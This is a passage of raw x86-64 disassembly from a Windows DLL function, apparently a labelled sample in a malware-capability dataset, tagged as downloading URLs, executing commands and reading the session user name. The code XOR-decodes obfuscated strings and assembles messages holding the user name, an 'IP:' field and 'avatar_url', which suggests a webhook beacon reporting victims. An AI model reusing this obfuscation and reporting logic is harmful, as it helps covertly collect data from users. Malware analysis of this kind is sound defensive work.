Function at 0x180056c90
Capabilities:
Download url
Execute command
Get session user name
Receive data

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x9d0]
sub rsp, 0xad0
lea rdx, [rbp + 0xa18]
mov dword [rbp + 0xa18], 0x101
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
movabs rsi, 0xe3186549ae535e2d
movabs r14, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rsi
xor edi, edi
mov rax, qword [rbp + 0xa20]
mov rbx, 0xffffffffffffffff
mov qword [rbp + 0x1e0], rax
mov r8, rbx
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x530], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x1e0]
movdqa xmm0, xmmword [rbp + 0x530]
xorps xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x1e0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x180056d70
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x20]
call fcn.180004450
mov qword [rbp + 0xa20], rsi
mov r8, rbx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x1d8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x460], rax
mov qword [rbp + 0xa20], r14
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x1d0]
mov qword [rbp + 0x468], rax
lea rax, [rbp + 0x1d0]
xorps xmm0, xmmword [rbp + 0x460]
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], dil
jne 0x180056e10
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp - 0x60]
call fcn.180004450
xorps xmm0, xmm0
mov qword [rbp - 0x30], rdi
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x28], rdi
lea rax, [rbp + 0x8c0]
mov r8, rbx
inc r8
cmp byte [rax + r8], dil
jne 0x180056e42
lea rdx, [rbp + 0x8c0]
lea rcx, [rbp - 0x40]
call fcn.180004450
movdqa xmm1, xmmword [0x180287170]
lea rdx, [rbp + 0x840]
xorps xmm0, xmm0
lea rcx, [rbp + 0x140]
movups xmmword [rbp + 0x840], xmm0
mov byte [rbp + 0x840], dil
movdqu xmmword [rbp + 0x850], xmm1
call fcn.180056740
movabs rax, 0x87354869c2212b4e
movabs rcx, 0x5191e85ede67ce94
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x360], rax
movabs rax, 0xcd595bfe67b018a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x368], rax
movabs rax, 0x440a5cb246ef2575
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x370], rax
movabs rax, 0x8f8722910ace58fd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x378], rax
movabs rax, 0x53d5b98d610c5861
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x380], rax
movabs rax, 0xc2755123b38a89d6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x388], rax
movabs rax, 0xd0208d7b2e4e366e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x390], rax
movabs rax, 0xf79dcce2894758a2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x398], rax
movabs rax, 0x79895a8b37e6d065
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3a0], rax
movabs rax, 0xddf428de8ed206e0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3a8], rax
movabs rax, 0xf83ebb5bb7dd4161
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3b0], rax
movabs rax, 0x9fed990f619cbdc3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xa157501bc3bf3df9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x3bd3618681b4df23
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3c8], rax
movabs rax, 0x3e685c8e406f0ae0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3d0], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3d8], rax
mov qword [rbp + 0xa20], rsi
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0xa20], r14
mov qword [rbp + 0x740], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x748], rax
movabs rax, 0x2c6961d72b8e4b07
mov rdi, rbx
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x750], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x758], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x760], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x768], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x770], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x778], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x780], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x788], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x790], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x798], rax
movabs rax, 0xd5240f75a2d207d9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7a0], rax
movabs rax, 0x6ee906e8e8d0b142
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7a8], rax
movabs rax, 0x3e687ca3601d6f93
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7b0], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x360]
xorps xmm0, xmmword [rbp + 0x740]
movdqa xmm1, xmmword [rbp + 0x370]
xorps xmm1, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x360], xmm0
movdqa xmm0, xmmword [rbp + 0x380]
xorps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rbp + 0x370], xmm1
movdqa xmm1, xmmword [rbp + 0x390]
xorps xmm1, xmmword [rbp + 0x770]
movdqa xmmword [rbp + 0x380], xmm0
movdqa xmm0, xmmword [rbp + 0x3a0]
xorps xmm0, xmmword [rbp + 0x780]
movdqa xmmword [rbp + 0x390], xmm1
movdqa xmm1, xmmword [rbp + 0x3b0]
xorps xmm1, xmmword [rbp + 0x790]
movdqa xmmword [rbp + 0x3a0], xmm0
movdqa xmm0, xmmword [rbp + 0x3c0]
xorps xmm0, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp + 0x3b0], xmm1
movdqa xmm1, xmmword [rbp + 0x3d0]
mov qword [rbp + 0x7b8], rax
lea rax, [rbp + 0x360]
xorps xmm1, xmmword [rbp + 0x7b0]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmmword [rbp + 0x3d0], xmm1
inc rdi
cmp byte [rax + rdi], 0
jne 0x180057313
mov r13, qword [rbp - 0x30]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, r13
cmp rax, rdi
jb 0x18005a4d7
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov esi, 0xf
mov qword [rsp + 0xb28], r12
cmova rax, qword [rbp - 0x40]
lea r12, [rdi + r13]
mov qword [rbp + 0xa20], rax
xorps xmm0, xmm0
lea r14, [rbp + 0xa0]
xorps xmm1, xmm1
lea ecx, [rsi + 7]
movabs rax, 0x8000000000000000
movups xmmword [rbp + 0xa0], xmm0
movdqu xmmword [rbp + 0xb0], xmm1
cmp r12, rsi
jbe 0x1800573fb
mov rsi, r12
or rsi, 0xf
cmp rsi, r15
jbe 0x1800573bf
mov rsi, r15
add rax, 0x27
mov rcx, rax
call fcn.18010bd10
test rax, rax
je 0x18005799a
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1800573f4
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x1800573e2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18005a4cb
jmp 0x1800573a0
test rcx, rcx
je 0x1800573f1
call fcn.18010bd10
mov r14, rax
jmp 0x1800573f4
xor r14d, r14d
mov qword [rbp + 0xa0], r14
mov r8, rdi
mov qword [rbp + 0xb0], r12
lea rdx, [rbp + 0x360]
mov qword [rbp + 0xb8], rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xa20]
lea rcx, [r14 + rdi]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
mov rdx, qword [rbp + 0xb8]
mov rcx, qword [rbp + 0xb0]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x180057490
cmp rdx, 0xf
lea rax, [rcx + 0x15]
lea rdi, [rbp + 0xa0]
mov qword [rbp + 0xb0], rax
cmova rdi, qword [rbp + 0xa0]
lea rdx, str.__:man_detective:IP:
add rdi, rcx
mov r8d, 0x15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0xa0]
mov byte [rdi + 0x15], 0
jmp 0x1800574b1
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp + 0xa0]
call fcn.18005e0a0
mov rsi, qword [rbp + 0x150]
lea r9, [rbp + 0x140]
xor r12d, r12d
xorps xmm0, xmm0
cmp qword [rbp + 0x158], 0xf
movups xmmword [rbp + 0x80], xmm0
cmova r9, qword [rbp + 0x140]
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x98]
mov r14, qword [rbp + 0x90]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x180057565
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x80]
mov qword [rbp + 0x90], rax
cmova rdi, qword [rbp + 0x80]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
mov byte [rax + rsi], r12b
lea rax, [rbp + 0x80]
jmp 0x180057579
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x80]
call fcn.18005e0a0
mov qword [rbp + 0x10], r12
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x18], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x1800575f1
cmp rdx, 0xf
lea rax, [rcx + 0xc]
lea rdi, [rbp]
mov qword [rbp + 0x10], rax
cmova rdi, qword [rbp]
lea rdx, str.avatar_url
add rdi, rcx
mov r8d, 0xc
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp]
mov byte [rdi + 0xc], r12b
jmp 0x18005760f
lea r9, str.avatar_url
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rbp]
call fcn.18005e0a0
cmp qword [rbp - 0x48], 0xf
lea r9, [rbp - 0x60]
mov rsi, qword [rbp - 0x50]
xorps xmm0, xmm0
cmova r9, qword [rbp - 0x60]
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x70]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x180057691
cmp rdx, 0xf
lea rax, [rsi + rcx]
lea rdi, [rbp + 0x60]
mov qword [rbp + 0x70], rax
cmova rdi, qword [rbp + 0x60]
mov r8, rsi
add rdi, rcx
mov rdx, r9
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0x60]
mov byte [rsi + rdi], r12b
jmp 0x1800576a2
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x60]
call fcn.18005e0a0
mov qword [rbp + 0x50], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 2
jb 0x180057709
lea rax, [rcx + 2]
cmp rdx, 0xf
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x40]
cmova rax, qword [rbp + 0x40]
mov word [rax + rcx], 0x2022
mov byte [rax + rcx + 2], r12b
lea rax, [rbp + 0x40]
jmp 0x180057727
lea r9, [0x18013379c]
mov qword [rsp + 0x20], 2
mov edx, 2
lea rcx, [rbp + 0x40]
call fcn.18005e0a0
cmp qword [rbp - 8], 0xf
lea r9, [rbp - 0x20]
mov rsi, qword [rbp - 0x10]
xorps xmm0, xmm0
cmova r9, qword [rbp - 0x20]
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x38]
mov r14, qword [rbp + 0x30]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x1800577ab
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x20]
mov qword [rbp + 0x30], rax
cmova rdi, qword [rbp + 0x20]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov byte [rax + r14], r12b
lea rax, [rbp + 0x20]
jmp 0x1800577bc
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x20]
call fcn.18005e0a0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x38]
movups xmmword [rbp + 0x880], xmm0
movups xmmword [rbp + 0x890], xmm1
cmp rdx, 0xf
jbe 0x18005781b
mov rcx, qword [rbp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057816
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005799a
call fcn.18010c0bc
mov rdx, qword [rbp + 0x58]
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], r12b
cmp rdx, 0xf
jbe 0x180057866
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057861
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005799a
call fcn.18010c0bc
mov rdx, qword [rbp + 0x78]
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], r12b
cmp rdx, 0xf
jbe 0x1800578b1
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800578ac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005799a
call fcn.18010c0bc
mov rdx, qword [rbp + 0x18]
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], r12b
cmp rdx, 0xf
jbe 0x1800578fc
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800578f7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005799a
call fcn.18010c0bc
mov rdx, qword [rbp + 0x98]
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], r12b
cmp rdx, 0xf
jbe 0x180057949
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180057944
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18005799a
call fcn.18010c0bc
mov rdx, qword [rbp + 0xb8]
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], r12b
cmp rdx, 0xf
jbe 0x1800579a6
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800579a1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800579a1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18010c0bc
movdqa xmm0, xmmword [0x180287170]
movabs rax, 0x87354869c2212b4e
movdqu xmmword [rbp + 0xb0], xmm0
mov byte [rbp + 0xa0], r12b
movabs rdx, 0x3e687ca3601d6f93
mov qword [rbp + 0xa20], rax
movabs rcx, 0x5191e85ede67ce94
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xcd595bfe67b018a7
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x440a5cb246ef2575
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x8f8722910ace58fd
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x3f8], rax
movabs rax, 0x59d78afe610c5861
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x400], rax
movabs rax, 0xc2755123b39d9fdf
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x408], rax
movabs rax, 0xd0208d7b2e4e366e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x410], rax
movabs rax, 0xf79dcce2894758a2
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x418], rax
movabs rax, 0x6e9a4a8b37e6d065
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x420], rax
movabs rax, 0xd8d17a8d8ae301eb
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x428], rax
movabs rax, 0xe429885ca3cc1f6a
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x430], rax
movabs rax, 0xeca38b0728cff4d3
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x438], rax
movabs rax, 0xb24a6611ccb373aa
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x440], rax
movabs rax, 0x4ec4269a8da3e478
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x448], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x450], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x458], rax
movabs rax, 0xe3186549ae535e2d
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7c0], rax
movabs rax, 0xa82a2edc47d16cc6
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7c8], rax
movabs rax, 0x2c6961d72b8e4b07
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7d0], rax
movabs rax, 0xece40ce265ba3d98
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov rdi, rbx
mov qword [rbp + 0x7d8], rax
movabs rax, 0x3ab4ffad412178d1
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7e0], rax
movabs rax, 0xb61b3e4095eeecba
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7e8], rax
movabs rax, 0x9900b35b133a580b
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7f0], rax
movabs rax, 0x8ee9ec96ea2232cc
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x7f8], rax
movabs rax, 0xbe82db117dcb515
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x800], rax
movabs rax, 0xb4b208e4e9bc6f8e
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x808], rax
movabs rax, 0x974ceb3fd69f250f
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x810], rax
movabs rax, 0xb3cdea6a12efd8a0
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x818], rax
movabs rax, 0xd5240f75a2d207d9
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x820], rax
movabs rax, 0x6ee906e8e8d0b142
mov qword [rbp + 0xa20], rax
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x828], rax
mov qword [rbp + 0xa20], rdx
mov rax, qword [rbp + 0xa20]
mov qword [rbp + 0x830], rax
mov qword [rbp + 0xa20], rcx
mov rax, qword [rbp + 0xa20]
movdqa xmm0, xmmword [rbp + 0x3e0]
xorps xmm0, xmmword [rbp + 0x7c0]
movdqa xmm1, xmmword [rbp + 0x3f0]
xorps xmm1, xmmword [rbp + 0x7d0]
movdqa xmmword [rbp + 0x3e0], xmm0
movdqa xmm0, xmmword [rbp + 0x400]
xorps xmm0, xmmword [rbp + 0x7e0]
movdqa xmmword [rbp + 0x3f0], xmm1
movdqa xmm1, xmmword [rbp + 0x410]
xorps xmm1, xmmword [rbp + 0x7f0]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm0, xmmword [rbp + 0x420]
xorps xmm0, xmmword [rbp + 0x800]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm1, xmmword [rbp + 0x430]
xorps xmm1, xmmword [rbp + 0x810]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm0, xmmword [rbp + 0x440]
xorps xmm0, xmmword [rbp + 0x820]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm1, xmmword [rbp + 0x450]
mov qword [rbp + 0x838], rax
lea rax, [rbp + 0x3e0]
xorps xmm1, xmmword [rbp + 0x830]
movdqa xmmword [rbp + 0x440], xmm0
movdqa xmmword [rbp + 0x450], xmm1
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x180057e50
mov r13, qword [rbp - 0x30]
mov rax, r15
sub rax, r13
cmp rax, rdi
jb 0x18005a4dd
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
lea r12, [rdi + r13]
mov esi, 0xf
cmova rax, qword [rbp - 0x40]
lea r14, [rbp + 0x120]
mov qword [rbp + 0xa20], rax
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x120], xmm0
movdqu xmmword [rbp + 0x130], xmm1
cmp r12, rsi
jbe 0x180057f29
mov rsi, r12
or rsi, 0xf
cmp rsi, r15
jbe 0x180057ee7
movabs rax, 0x8000000000000000
mov rsi, r15
add rax, 0x27
mov rcx, rax
call fcn.18010bd10
test rax, rax
je 0x1800584e3
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x180057f22
cmp rsi, 0x16
mov eax, 0x16
cmovb rsi, rax
lea rcx, [rsi + 1]
cmp rcx, 0x1000
jb 0x180057f10
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18005a4d1
jmp 0x180057ec8
test rcx, rcx
je 0x180057f1f
call fcn.18010bd10
mov r14, rax
jmp 0x180057f22
xor r14d, r14d
mov qword [rbp + 0x120], r14
mov r8, rdi
mov qword [rbp + 0x130], r12
lea rdx, [rbp + 0x3e0]
mov qword [rbp + 0x138], rsi
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rdx, qword [rbp + 0xa20]
lea rcx, [r14 + rdi]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + r12], 0
mov rdx, qword [rbp + 0x138]
mov rcx, qword [rbp + 0x130]
mov rax, rdx
sub rax, rcx
cmp rax, 0x15
jb 0x180057fbe
cmp rdx, 0xf
lea rax, [rcx + 0x15]
lea rdi, [rbp + 0x120]
mov qword [rbp + 0x130], rax
cmova rdi, qword [rbp + 0x120]
lea rdx, str.__:man_detective:IP:
add rdi, rcx
mov r8d, 0x15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memmove
lea rax, [rbp + 0x120]
mov byte [rdi + 0x15], 0
jmp 0x180057fdf
lea r9, str.__:man_detective:IP:
mov qword [rsp + 0x20], 0x15
mov edx, 0x15
lea rcx, [rbp + 0x120]
call fcn.18005e0a0
mov rsi, qword [rbp + 0x150]
lea r9, [rbp + 0x140]
xor r12d, r12d
xorps xmm0, xmm0
cmp qword [rbp + 0x158], 0xf
movups xmmword [rbp + 0x100], xmm0
cmova r9, qword [rbp + 0x140]
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rcx, qword [rbp + 0x118]
mov r14, qword [rbp + 0x110]
mov rax, rcx
sub rax, r14
cmp rsi, rax
ja 0x180058093
cmp rcx, 0xf
lea rax, [r14 + rsi]
lea rdi, [rbp + 0x100]
mov qword [rbp + 0x110], rax
cmova rdi, qword [rbp + 0x100]
mov r8, rsi
mov rdx, r9
lea rcx, [rdi + r14]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r14]
mov byte [rax + rsi], r12b
lea rax, [rbp + 0x100]
jmp 0x1800580a7
mov rdx, rsi
mov qword [rsp + 0x20], rsi
lea rcx, [rbp + 0x100]
call fcn.18005e0a0
mov qword [rbp + 0xf0], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf8], r12
